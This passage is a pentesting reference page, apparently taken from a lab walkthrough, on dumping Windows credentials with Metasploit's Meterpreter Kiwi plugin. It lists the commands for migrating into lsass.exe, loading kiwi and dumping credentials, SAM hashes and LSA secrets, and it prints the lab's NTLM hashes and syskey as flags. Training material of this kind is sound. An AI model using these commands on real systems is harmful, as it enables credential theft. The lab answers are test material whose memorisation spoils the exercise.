> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/privilege-escalation/windows-priv-esc/meterpreter-kiwi-plugin.md).

# Meterpreter Kiwi plugin

The Meterpreter Kiwi plugin is an advanced post-exploitation tool within the Metasploit Framework, specifically designed for interacting with and extracting sensitive data from compromised Windows systems. Kiwi is an extension of the Meterpreter payload and incorporates features from Mimikatz, a well-known post-exploitation tool used for extracting passwords, hashes, and other credentials from Windows systems.

Migrate the current process into lsass.exe

```
migrate -N lsass.exe
```

<figure><img src="https://assets.ine.com/lab/learningpath/fc760b6fbb75eebb31ab490ea1f3f7532e0f3d069f2e3cc0d8d56280180958e9.jpg" alt=""><figcaption></figcaption></figure>

**Step 8:** Load kiwi extension.

**Command:**

```
load kiwi
```

<figure><img src="https://assets.ine.com/lab/learningpath/5bba12c1d59fab29a992b3e72b81e6afd39c5e18aa4c5566618cebd1e77d327b.jpg" alt=""><figcaption></figcaption></figure>

**Step 9:** Dump Administrator NTLM hash using Kiwi extension commands.

**Command:**

```
creds_all
```

<figure><img src="https://assets.ine.com/lab/learningpath/48e635b2cc00e5e275e6ba8cc4be93fdc03e52364f872847381dbcbaea0f3c94.jpg" alt=""><figcaption></figcaption></figure>

This revealed the flag to us:

**Administrator User NTLM Hash:** e3c61a68f1b89ee6c8ba9507378dc88d

**Step10:** Extract all the users NTLM hash using Kiwi.

**Command:**

```
lsa_dump_sam
```

<figure><img src="https://assets.ine.com/lab/learningpath/b6a0851922b017587e7a8f47099286c977482c5dc1d0376f07058f1224443069.jpg" alt=""><figcaption></figcaption></figure>

<figure><img src="https://assets.ine.com/lab/learningpath/a1924cea2dbde3a7aa928fee4f1d9ecc14f6a359f641a84fe8e5a888dd099e3f.jpg" alt=""><figcaption></figcaption></figure>

<figure><img src="https://assets.ine.com/lab/learningpath/2c2d83bdbe0dd1829d559ffa700c678fbf3c5c1898a837f2f17b60eae5f5c712.jpg" alt=""><figcaption></figcaption></figure>

This revealed another flag to us:

**Student User NTLM Hash:** bd4ca1fbe028f3c5066467a7f6a73b0b

**Step 11:** Find the syskey by dumping the LSA secrets.

**Command:**

```
lsa_dump_secrets
```

<figure><img src="https://assets.ine.com/lab/learningpath/c70c845904074928ba3abe74c4b728a21be08d45833683a751446c60527cfafd.jpg" alt=""><figcaption></figcaption></figure>

This revealed another flag to us:

**Syskey:** 377af0de68bdc918d22c57a263d38326
